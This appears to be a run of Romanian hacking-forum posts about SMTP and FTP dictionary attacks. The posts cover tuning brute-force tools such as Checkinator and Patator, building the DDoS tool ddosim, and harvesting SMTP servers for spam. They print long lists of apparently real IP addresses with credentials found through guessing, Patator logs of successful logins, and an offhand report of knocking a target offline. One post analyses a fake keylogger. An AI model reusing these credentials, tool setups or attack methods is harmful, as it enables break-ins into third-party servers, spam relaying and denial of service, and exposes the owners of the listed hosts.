hKr

passfile - 8 (nici fratemeu nar fi pus 8 usere/parole amarate, cand oi pune macar cele de baza, cele mai folosite sa revii te rog cu un post, spunand numarul linilor pe care le ai.) SMTP reply codes 535, este eroare. Ia de mai citeste, check google. Asta inseamna ca nu gaseste o varianta cu user si pass, buna pentru autentificare.(Cum am spus checkinator-ul functioneaza nu are nici pe drq.) E vorba de root, de internet si de modificarile pe care le faci in checkinator sa fie valide, corecte nu sa pui mail gen@gen,com(cu virgula) ti-am expus anumite variante de la ce poate fi, in plus pe mess in timp ce verificai si te-am pus sa il mai pui inca odata la scan ti-a gasit.(Deci efectiv nu exista nici o problema e vorba de theard-uri, passfile, de root, internet, nu de checkinator, fiinca el este scris bine, asi face treaba). Pe privat nu ti-am zis nimic de 1-2 mii sau milioane de smtps pentru spam(Pinochio in varianta nebuna, crizata si exagerata). 150 smtp in 2 zile daca la tine inseamna mult, atunci cateva mii la altii ce ar insemna ? Jignirile care le aduci la adresa mea si cea ce ai scris mai sus, ati revin tie, te-ai descris foarte bine "bolnavule" sau crizat cum vrei tu sa ati spun. Daca ai nervi si probleme cu banii, prietenii, famlia etc. rezolvatile acasa, nu veni aici sa faci crize ca te-a lasat prietena sau cine stie ce oi avea de esti atat de isteric . Urat este si suna, cand primesti reprosuri si esti jignit, injurat doar pentru simplu fapt ca ai vrut sa faci un bine, culmea... sa ajuti. Nu inteleg oamenii de genul si nu imi pare rau ca, am incercat sa te ajut si sa zic 2-3 cuvinte ci imi pare rau pentru tine baiete, fiinca este nasol sa ajungi in starile pe care le ai tu in prezent, dupa cum se observa din cea ce ai scris. Dute ia-ti o suzeta sau date cu capu de pereti pana ati revii. Si da, ce sa zic...am gresit numele. Scuzati-ma pentru acea litera gresita si va scuz obraznicia Maiestate. Orice pentru dv. cuvantul dv, este un ordin pentru mine. Plecaciuni si respect. Numa bine.

Primesc eroare la configurarea ddosim pentru ca necesita libnet0. Install ddosim-0.2 [B]root@bt:~/ddosim-0.2# ./configure[/B] checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for a thread-safe mkdir -p... /bin/mkdir -p checking for gawk... gawk checking whether make sets $(MAKE)... yes checking for g++... g++ checking for C++ compiler default output file name... a.out checking whether the C++ compiler works... yes checking whether we are cross compiling... no checking for suffix of executables... checking for suffix of object files... o checking whether we are using the GNU C++ compiler... yes checking whether g++ accepts -g... yes checking for style of include used by make... GNU checking dependency style of g++... gcc3 checking for gcc... gcc checking whether we are using the GNU C compiler... yes checking whether gcc accepts -g... yes checking for gcc option to accept ISO C89... none needed checking dependency style of gcc... gcc3 checking for pcap_open_live in -lpcap... yes checking for pthread_mutex_lock in -lpthread... yes checking for libnet_init_packet in -lnet... no [COLOR="#FF0000"]configure: error: libnet0 (dev) is required for this program[/COLOR] Mai jos instalez libnet0 si observam o instalare curata, fara erori si corecta. Install libnet0 (libnet-1.0.2a.orig) [B]root@bt:~/libnet-1.0.2a.orig# ./configure[/B] loading cache ./config.cache Beginning autoconfiguration process for libnet-1.0.2a... checking host system type... x86_64-pc-linux-gnu checking target system type... x86_64-pc-linux-gnu checking build system type... x86_64-pc-linux-gnu checking for gcc... (cached) gcc checking whether the C compiler (gcc ) works... yes checking whether the C compiler (gcc ) is a cross-compiler... no checking whether we are using GNU C... (cached) yes checking whether gcc accepts -g... (cached) yes checking for working const... (cached) yes checking for a BSD compatible install... (cached) /usr/bin/install -c checking whether make sets ${MAKE}... (cached) yes checking for ranlib... (cached) ranlib checking for ar... (cached) ar checking for ln... (cached) ln checking for strerror... (cached) yes checking for pcap_open_live in -lpcap... (cached) yes checking low-level packet interface type... found SOCK_PACKET checking how to run the C preprocessor... gcc -E checking for net/ethernet.h... yes checking for libnet_build_ip in -lnet... (cached) no checking machine endianess... lil checking if unaligned accesses fail... (cached) no checking for sys/sockio.h... (cached) no updating cache ./config.cache creating ./config.status creating Makefile creating test/Makefile creating test/TCP/Makefile creating test/Ethernet/Makefile creating test/UDP/Makefile creating test/ICMP/Makefile creating test/Random/Makefile creating test/OSPF/Makefile creating util/Makefile creating util/Get-mac/Makefile creating example/Makefile creating libnet-config creating include/config.h [B]root@bt:~/libnet-1.0.2a.orig# make[/B] ar -cr lib/libnet.a src/libnet_resolve.o src/libnet_socket.o src/libnet_checksum.o src/libnet_prand.o src/libnet_version.o src/libnet_write_ip.o src/libnet_insert_ipo.o src/libnet_insert_tcpo.o src/libnet_error.o src/libnet_link_sockpacket.o src/libnet_packet_mem.o src/libnet_build_ip.o src/libnet_build_tcp.o src/libnet_build_udp.o src/libnet_build_arp.o src/libnet_build_ethernet.o src/libnet_build_icmp.o src/libnet_build_igmp.o src/libnet_build_dns.o src/libnet_build_snmp.o src/libnet_build_rip.o src/libnet_build_ospf.o src/libnet_build_vrrp.o src/libnet_asn1.o src/libnet_hex_dump.o src/libnet_if_addr.o src/libnet_port_list.o ranlib lib/libnet.a [B]root@bt:~/libnet-1.0.2a.orig# make install[/B] ar -cr lib/libnet.a src/libnet_resolve.o src/libnet_socket.o src/libnet_checksum.o src/libnet_prand.o src/libnet_version.o src/libnet_write_ip.o src/libnet_insert_ipo.o src/libnet_insert_tcpo.o src/libnet_error.o src/libnet_link_sockpacket.o src/libnet_packet_mem.o src/libnet_build_ip.o src/libnet_build_tcp.o src/libnet_build_udp.o src/libnet_build_arp.o src/libnet_build_ethernet.o src/libnet_build_icmp.o src/libnet_build_igmp.o src/libnet_build_dns.o src/libnet_build_snmp.o src/libnet_build_rip.o src/libnet_build_ospf.o src/libnet_build_vrrp.o src/libnet_asn1.o src/libnet_hex_dump.o src/libnet_if_addr.o src/libnet_port_list.o ranlib lib/libnet.a ./ensure-dir.sh /usr 755 ./ensure-dir.sh /usr/lib/ 755 ./ensure-dir.sh /usr/include/libnet 755 ./ensure-dir.sh /usr/include/ 755 ./ensure-dir.sh /usr/man/man3/ 755 ./ensure-dir.sh /usr/bin/ 755 ./install-sh lib/libnet.a /usr/lib/ rm -f /usr/lib/libpwrite.a cd /usr/lib/; ln -f -s libnet.a libpwrite.a ./install-sh include/libnet.h /usr/include/ ./install-sh include/libnet/libnet-headers.h /usr/include/libnet ./install-sh include/libnet/libnet-functions.h /usr/include/libnet ./install-sh include/libnet/libnet-structures.h /usr/include/libnet ./install-sh include/libnet/libnet-macros.h /usr/include/libnet ./install-sh include/libnet/libnet-asn1.h /usr/include/libnet ./install-sh include/libnet/libnet-ospf.h /usr/include/libnet ./install-sh doc/libnet.3 /usr/man/man3/ ./install-sh libnet-config /usr/bin/ Acum pentru ca este instalat "libnet0" , execut din nou comanda "./configure" pentru "ddosim-0.2" si primesc acceasi eroare. configure: error: libnet0 (dev) is required for this program Care ar fi problema ? Ce este de facut in cazul acesta ?

Daca a functionat in primele 2 zile, logic trebuie sa functioneze si acum. In urma atackului facut, in cele 2 zile, Port-ul 25 poate fi: scos de la forward, pe port 25 blocat de firewall blocat de catre provider Daca ai facut modificari in "Checkinator - SMTP Dictionary attack", verifica daca: passfile este de forma - "utilizator/parola" in mail.php este trecut la "form" un mail corect si la "to" emailu tau valid. Edit: Icemarc, rezolvat.(Nu avea nici o problema.) Checkinator-ul functiona. Faza a fost ca, avea un passfile mic, acela implicit cu checkinatorl si a scanat pe o clasa unde na prins nimic. In urma atack-ului nu s-a gasit o varianta de autentificare pe lista de ip-uri pe care a dat. Mesajul de eroare este "535" insemannd -> "535 SMTP Authentication unsuccessful/Bad username or password". @Icemarc: trebuia sa dai si tu edit, sa stie cei care citesc si vor sa te ajute ca ai rezolvat. Data viitoare sa specifici si ce inseamna la tine "in primele 2 zile a prins la smtp de nu am avut ce face cu ele", sa nu creada lumea ca face minuni acest checkinator, acum ca tot am dat eu edit voi explica. In cele 2 zile a prins la smtp.... de nu avea ce face cu ele!!! Iar numarul smtp-urilor vulnerabile a fost de 100.(Pentru el intradevar inseamna mult in 2 zile sa prinda 100 smtp si normal ca nare ce face cu ele din moment ce nu este un spammer dar pentru altii e nimica toata si in 2 zile sa fim seriosi ...100 smtp nu inseamna nimic cand altii fac in 2 zile cateva mii.)

Cam asta a fost din cate se pare...o zi. "Eroare"

*Functioneaza. Daca am gandi putin logic, ne-am da seama ca este o problema care provine de la voi, deoarece nu cred ca poti pune varianta ca ar putea fi o problema generala. (Mai ales atata timp cat altora le merge.) Slabe sanse sa pice serverele de la yahoo si toate deodata sau sa fie o problema generala din diferite motive de a nu mai putea face log. Sunt multe posibilitati ce ar putea cauza aceasta problema... *Vrun virus.. *A picat externul *Sterge cookies din browser. ..........................

Unde vezi tu duplicate ? Arata un al doilea exemplar a unei licente.

Scriptul necesita modulul "Parallel::ForkManager" iar pentru ca acesta lipseste, apare eroarea expusa mai sus. Pentru instalarea modulului: wget http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.9.tar.gz tar -zxvf Parallel-ForkManager-0.7.9.tar.gz cd Parallel-ForkManager-0.7.9 perl Makefile.PL make make test make install Am testat scriptul si functioneaza. In mai putin de 1 minut am avut ca rezultat 185 de conturi de ftp. Rezultat: Login found: 66.0.1.148 shop shop Login found: 66.0.19.241 shop shop Login found: 66.0.212.153 shop shop Login found: 66.0.19.242 shop shop Login found: 66.0.19.254 shop shop Login found: 66.0.19.243 shop shop Login found: 66.0.19.252 shop shop Login found: 66.0.1.148 sales sales Login found: 66.0.19.241 sales sales Login found: 66.0.212.153 sales sales Login found: 66.0.19.242 sales sales Login found: 66.0.19.254 sales sales Login found: 66.0.19.243 sales sales Login found: 66.0.19.252 sales sales Login found: 66.0.1.148 orders orders Login found: 66.0.212.153 orders orders Login found: 66.0.19.241 orders orders Login found: 66.0.19.242 orders orders Login found: 66.0.19.254 orders orders Login found: 66.0.19.243 orders orders Login found: 66.0.19.252 orders orders Login found: 66.0.1.148 shop password Login found: 66.0.212.153 shop password Login found: 66.0.19.241 shop password Login found: 66.0.19.242 shop password Login found: 66.0.19.254 shop password Login found: 66.0.19.243 shop password Login found: 66.0.19.252 shop password Login found: 66.0.1.148 shop 123456 Login found: 66.0.212.153 shop 123456 Login found: 66.0.19.241 shop 123456 Login found: 66.0.19.242 shop 123456 Login found: 66.0.19.254 shop 123456 Login found: 66.0.19.243 shop 123456 Login found: 66.0.19.252 shop 123456 Login found: 66.0.1.148 admin admin Login found: 66.0.19.242 admin admin Login found: 66.0.19.254 admin admin Login found: 66.0.19.243 admin admin Login found: 66.0.33.148 shop shop Login found: 66.0.33.148 sales sales Login found: 66.0.33.148 orders orders Login found: 66.0.33.148 shop password Login found: 66.0.33.148 shop 123456 Login found: 66.0.33.148 admin admin Login found: 66.0.56.35 shop shop Login found: 66.0.56.35 sales sales Login found: 66.0.56.35 orders orders Login found: 66.0.56.35 shop password Login found: 66.0.56.35 shop 123456 Login found: 66.0.56.35 admin admin Login found: 66.102.25.16 shop shop Login found: 66.104.1.130 shop shop Login found: 66.104.1.130 sales sales Login found: 66.104.1.130 orders orders Login found: 66.104.1.130 shop password Login found: 66.104.1.130 shop 123456 Login found: 66.104.1.130 admin admin Login found: 66.104.148.203 shop shop Login found: 66.104.148.203 sales sales Login found: 66.104.148.203 orders orders Login found: 66.104.148.203 shop password Login found: 66.104.148.203 shop 123456 Login found: 66.104.148.203 admin admin Login found: 66.10.83.76 shop shop Login found: 66.10.83.76 sales sales Login found: 66.10.83.76 orders orders Login found: 66.10.83.76 shop password Login found: 66.10.83.76 shop 123456 Login found: 66.10.83.76 admin admin Login found: 66.11.103.57 shop shop Login found: 66.11.103.57 sales sales Login found: 66.11.103.57 orders orders Login found: 66.11.103.57 shop password Login found: 66.11.103.57 shop 123456 Login found: 66.11.103.57 admin admin Login found: 66.11.163.111 admin admin Login found: 66.112.224.137 shop shop Login found: 66.112.224.137 sales sales Login found: 66.112.224.137 orders orders Login found: 66.112.224.137 shop password Login found: 66.112.224.137 shop 123456 Login found: 66.112.224.137 admin admin Login found: 66.113.88.2 shop shop Login found: 66.113.88.2 sales sales Login found: 66.113.88.2 orders orders Login found: 66.113.88.2 shop password Login found: 66.113.88.2 shop 123456 Login found: 66.113.88.2 admin admin Login found: 66.114.128.103 shop shop Login found: 66.114.128.103 sales sales Login found: 66.114.128.103 orders orders Login found: 66.114.128.103 shop password Login found: 66.114.128.103 shop 123456 Login found: 66.114.128.103 admin admin Login found: 66.117.216.186 shop shop Login found: 66.119.176.28 admin admin Login found: 66.119.48.20 shop password Login found: 66.119.48.20 shop 123456 Login found: 66.119.48.20 admin admin Login found: 66.124.87.206 sales sales Login found: 66.121.63.220 sales sales Login found: 66.121.63.220 shop password Login found: 66.121.63.220 admin admin Login found: 66.128.118.28 shop shop Login found: 66.128.118.28 sales sales Login found: 66.128.118.28 orders orders Login found: 66.128.118.28 shop password Login found: 66.128.118.28 shop 123456 Login found: 66.128.118.28 admin admin Login found: 66.130.49.120 shop shop Login found: 66.130.49.120 sales sales Login found: 66.130.49.120 orders orders Login found: 66.130.98.157 shop shop Login found: 66.130.98.157 sales sales Login found: 66.130.49.120 shop password Login found: 66.130.98.157 orders orders Login found: 66.130.49.120 shop 123456 Login found: 66.130.98.157 shop password Login found: 66.130.49.120 admin admin Login found: 66.130.98.157 shop 123456 Login found: 66.130.98.157 admin admin Login found: 66.132.0.10 shop password Login found: 66.132.0.4 shop password Login found: 66.132.0.10 shop 123456 Login found: 66.132.0.4 shop 123456 Login found: 66.132.0.10 admin admin Login found: 66.132.0.4 admin admin Login found: 66.132.0.11 shop password Login found: 66.132.0.7 shop password Login found: 66.132.0.11 shop 123456 Login found: 66.132.0.7 shop 123456 Login found: 66.132.0.11 admin admin Login found: 66.132.0.7 admin admin Login found: 66.132.0.8 shop password Login found: 66.132.0.8 shop 123456 Login found: 66.132.0.9 shop password Login found: 66.132.0.8 admin admin Login found: 66.132.0.9 shop 123456 Login found: 66.132.0.9 admin admin Login found: 66.132.230.71 shop password Login found: 66.132.230.71 shop 123456 Login found: 66.132.230.71 admin admin Login found: 66.134.106.69 shop shop Login found: 66.134.106.69 sales sales Login found: 66.134.106.69 orders orders Login found: 66.134.106.69 shop password Login found: 66.134.106.69 shop 123456 Login found: 66.134.106.69 admin admin Login found: 66.134.14.29 shop shop Login found: 66.134.14.29 sales sales Login found: 66.134.14.29 orders orders Login found: 66.134.14.29 shop password Login found: 66.134.14.29 shop 123456 Login found: 66.134.14.29 admin admin Login found: 66.134.195.194 shop shop Login found: 66.134.195.194 sales sales Login found: 66.134.195.194 orders orders Login found: 66.134.195.194 shop password Login found: 66.134.195.194 shop 123456 Login found: 66.134.195.194 admin admin Login found: 66.134.222.33 admin admin Login found: 66.137.60.27 shop password Login found: 66.137.60.27 shop 123456 Login found: 66.137.60.27 admin admin Login found: 66.142.5.110 shop shop Login found: 66.142.5.110 sales sales Login found: 66.142.5.110 orders orders Login found: 66.142.5.110 shop password Login found: 66.142.5.110 shop 123456 Login found: 66.142.5.110 admin admin Login found: 66.143.210.38 shop shop Login found: 66.143.33.155 shop shop Login found: 66.143.210.38 sales sales Login found: 66.143.33.155 sales sales Login found: 66.143.210.38 orders orders Login found: 66.143.33.155 orders orders Login found: 66.143.210.38 shop password Login found: 66.143.33.155 shop password Login found: 66.144.135.184 shop shop Login found: 66.144.135.230 shop shop Login found: 66.143.210.38 shop 123456 Login found: 66.143.33.155 shop 123456 Login found: 66.143.210.38 admin admin Login found: 66.143.33.155 admin admin

Reteaua Cosmote: Succes. Timp intarziere: 20 secunde. Nota: Merge scris cu spatiu. Sunt doar 14 charactere permise, daca depasiti, restul characterelor nu vor fi trimise.

Mirror pentru un amic(nu-i merge pe mediafire sa descarce). Filebox Fileshare 2shared

Am testat acest Bruteforce, mai bine spus "Dictionary attack" si pe un singur target cu multi theard merge fara probleme si pe deasupra repede dar pe mai multe targete+theaduri deodata nu mai da randament. Testat pe modulu "smtp_login", multi target(ip,user,password=LIST) + multi theard pe o lista de vreo 20 smtp-uri vulnerabile si verificate inainte de a le baga in "Petator Dictionary attack". Mai jos observam 3 servere de smtp la care a reusit autentificarea cu succes, 1 nereusit, 1 fail si 2 erori care apar incontinu. 05:55:59 patator INFO - 235 25 | 173.9.86.81:test:password | 13 | Authentication successful 05:55:59 patator INFO - 235 32 | 71.146.247.179:test:password | 28 | 2.7.0 Authentication successful. 05:56:02 patator INFO - 235 32 | 79.123.90.202:test:password | 34 | 2.7.0 Authentication successful. 05:56:08 patator INFO - 535 34 | test:admin:173.63.47.19 |123 | 5.7.3 Authentication unsuccessful. 05:56:50 patator INFO - 535 28 | test:admin:99.89.25.201 | 136 | Error: authentication failed 05:56:50 patator INFO - 535 12 | 173.165.33.109:test:password | 7 | auth failure 05:60:30 patator WARNING - xxx | 123.2.170.205:test:password | 1 | <class 'socket.error'>, (110, 'Connection timed out') 05:60:30 patator WARNING - xxx | 87.224.82.83:test:password | 37 | <type 'exceptions.ValueError'>, ('need more than 1 value to unpack',) Nu am pus toata activitatea de la Petator ce s-a desfasurat in timpul atackului deoarece nu are rost, am pus doar ce m-a intersat si este important. Hai sa comentam de exemplu eroarea cu socket. Eroarea 1: Connection timed out. = <class 'socket.error'>, (110, 'Connection timed out') A connection attempt failed because the connected party did not properly respond after a period of time, or the established connection failed because the connected host has failed to respond. Daca nu a reusit stabilirea conexiunii(conectarea pe acel port) din motive diferite, cum ar fi: - a) Smtp Server(port) oprit - Port-ul este blockat - c) Ip-ul este down - Etc. ar fi trebuit sa dea eroarea "auth failure" finca setarea este --failure-delay=10 --max-retries=1 iar smtp-ul functioneaza - Am testat cu un singur target(tot acelasi ip 123.2.170.205) care a primit eroarea de mai sus despre care vorbim si ce sa vedem ? A disparut eroarea cu socket si am primit eroarea cu "auth failure" cum este normal. Daca dam atack pe multi target primim erori. - Observam 1 singur target fara acele erori cu socket. 07:03:24 patator INFO - 535 12 | test:smtp:173.165.33.109 | 1 | auth failure 07:03:26 patator INFO - 535 12 | test:support:173.165.33.109 | 3 | auth failure 07:03:26 patator INFO - 535 12 | test:staff:173.165.33.109 | 2 | auth failure 07:03:28 patator INFO - 535 12 | test:password:173.165.33.109 | 6 | auth failure 07:03:31 patator INFO - 535 12 | test:test:173.165.33.109 | 7 | auth failure 07:03:36 patator INFO - 535 12 | test:backup:173.165.33.109 | 4 | auth failure 07:03:36 patator INFO - 535 12 | test:admin:173.165.33.109 | 8 | auth failure 07:03:41 patator INFO - 535 12 | test:sales:173.165.33.109 | 5 | auth failure Eroarea 2: <type 'exceptions.ValueError'>, ('need more than 1 value to unpack',) Nu are rost sa mai vorbesc despre aceasta eroare si nici nu as avea ce sa spun in privinta ei. Sa punem varianta ca l-au scris gresit si au fost informati despre erorile care provin cand folosim "multi target" dar inca nu le-au rezolvat. Daca trecem cu vederea peste acele erori, tot ramane varianta ca, face atack incredibil de greu pe mai multe targete deodata. 51 secunde a durat pe 1 singur target cu 1 user si 8 parole. Setat=--failure-delay=0.2 --max-retries=1. Pare a nu functiuna, lua in calcul setarea "--failure-delay=secunde". 07:23:35 patator INFO - Starting Patator v0.3 (http://code.google.com/p/patator/) at 2012-01-12 07:23 EET 07:23:35 patator INFO - 07:23:35 patator INFO - code & size | candidate | num | mesg 07:23:35 patator INFO - --------------------------------------------------------------- 07:24:18 patator INFO - 535 12 | test:test:173.165.33.109 | 7 | auth failure 07:24:19 patator INFO - 535 12 | test:admin:173.165.33.109 | 8 | auth failure 07:24:19 patator INFO - 535 12 | test:support:173.165.33.109 | 3 | auth failure 07:24:20 patator INFO - 535 12 | test:backup:173.165.33.109 | 4 | auth failure 07:24:22 patator INFO - 535 12 | test:staff:173.165.33.109 | 2 | auth failure 07:24:24 patator INFO - 535 12 | test:password:173.165.33.109 | 6 | auth failure 07:24:25 patator INFO - 535 12 | test:smtp:173.165.33.109 | 1 | auth failure 07:24:26 patator INFO - 535 12 | test:sales:173.165.33.109 | 5 | auth failure 07:24:26 patator INFO - Hits/Done/Size/Fail: 8/8/8/0, Avg: 0 r/s, Time: 0h 0m [color=red]51s[/color] De aici va dati si voi seama ca nu merita sa faci brute pe multi target atata timp cat pe 1 singur target cu 1 user si 8 parole dureaza 1 min. Astept si parerile voastre cei care l-au testat "multi target+theard-uri" ce rezultat ati capatat. In legatura cu "THC-Hydra" tot pe modulu de smtp si "multi target+theard-uri" are ca rezultat tot un esec ca si acest "Petator - Dictionary attack". Sunt foarte bine gandite si scrise dar mai putin la partea de multi target.

Nu ca as avea nevoie de asa ceva dar am aruncat un ochi pe acest topic si am un singur cuvant de spus -> FELICITARI.

A mai fost postat de cel putin 2 ori. Odata de "mai_presus_ca_legea", atasand cica un "crack" (ce a fost infectat) si luat ban -> aici Si altadata de mine in urma banului care la luat individu de mai sus, punandul cu licenta pentru a nu mai fi probleme -> aici

Raport analizarea fisierelor suspecte: VirusTotal Raport detaliat analizare fisiere: Anubis Malware Encyclopedia: Trojan.Win32.Generic!BT Trojan.Generic.KDV.84264 * Nu creaza sau modifica nimic in registry. * Nu creaza sau modifica ceva prin sistem. * Nu face conexiuni la deschidere.(cel putin eu nu am observat nimic, de voua va iese ceva presupun ca functioneaza doar pe 32-biti iar eu ruland pe 64-biti. Nu am stat de el imi e deajuns ce am vazut pana acum.) In schimb, nu porneste si "soul_logger.exe" apare ca fiind Trojan in urma raport-ului de catre virustotal "31/ 42 (73.8%)" iar in poza apare versiunea "v1.0" pe cand "soul_logger.exe" la Propietati apare versiunea "6.10.9 " si niste spatii goale aiurea. Pe langa toate acestea mai sunt: File version: "6.10.9 " Copyright: "Copyright © 2006 Macrovision Corporation " Original file name: "mt610-10-eval.exe" Product name: "Microangelo Toolset 6 " Nu are nici o legatura asazisul "Keylogger - Soul Logger v1.0" cu "Microangelo Toolset". Decriere officiala "Microangelo Toolset": Create icons for all Windows versions including Vista and Windows 7 with Toolset's Icon Editor. Locate and extract hundreds of hi-resolution, 256x256 icons in your Vista installation. This suite of icon tools includes four integrated components that excel in their specific areas. Sa nu uitam si de marimea fisierului "soul_logger.exe" care are 415 KB. Cu toate acestea pare sa nu faca nimic in urma invesigatilor facute. P.S: Testat in masina virtuala cu ".NET Framework 3.5". Totusi pare din start ciudat fraza cu "daca" si in plus ar fi trebuit sa dea eroare de la FW ca, nu este instalat. Cu ocazia asta presupun ca va zbura de pe rst, cel putin eu asa cred si ar fi normal.

SlickG tu te laudai pe mess ca ai prins nu stiu cate sute de smtp-uri in cateva minute. Ca apoi sa dai mass cu aceste smtp-uri postate pe rst de catre anonymizier, mentionand faptul ca sunt procurate de tine si date pentru toti care ii ai in lista, vezi doamne ochi frumosi ca ai scanner ? (Cand acele smtp-uri erau postate de anonymizier pe rst.)

Ce texte ironice ai in tine. La ce postezi cois ? Nu te pot intelege de nici o culoare, poate ca da..posturi ? Am si specificat ca, un alt program face ipvhosting in mai putin de 10 secunde down dar se pare ca tu esti batut in cap ca sa intelegi diferenta. Si la ce trebuie sa imi spui sa ii dau delete ? Am spus cumva ca il pastrez sau cum ? Nu ati vad rostul postului deloc. Dai drumu fa in altul.

L-am testat pe ipvhosting si nu are nici cea mai mica influienta asupra lui. Am dat cu altul si in mai putin de 10 secunde era jos. Concluzia -> PRAF.

Tot cel vechi asi face treaba mai bine. Am pus o mana de smtp-uri vulnerabile luate la scan cu 2 zile in urma. Am dat bruteforce cu asta si am verificat mailu, xxx smtp-uri dar cand ma uitam la ip-uri erau aceleasi. Era bine daca era facut in asa fel odata gasit vulnerabil un server de smtp sa nu mai faca bruteforce incotnuu pe acelasi ip din moment ce sa gasit o varianta de user si pass pentru autentificare. Asi face treaba si asta foarte bine doar ca cel vechi e mai bine gandit.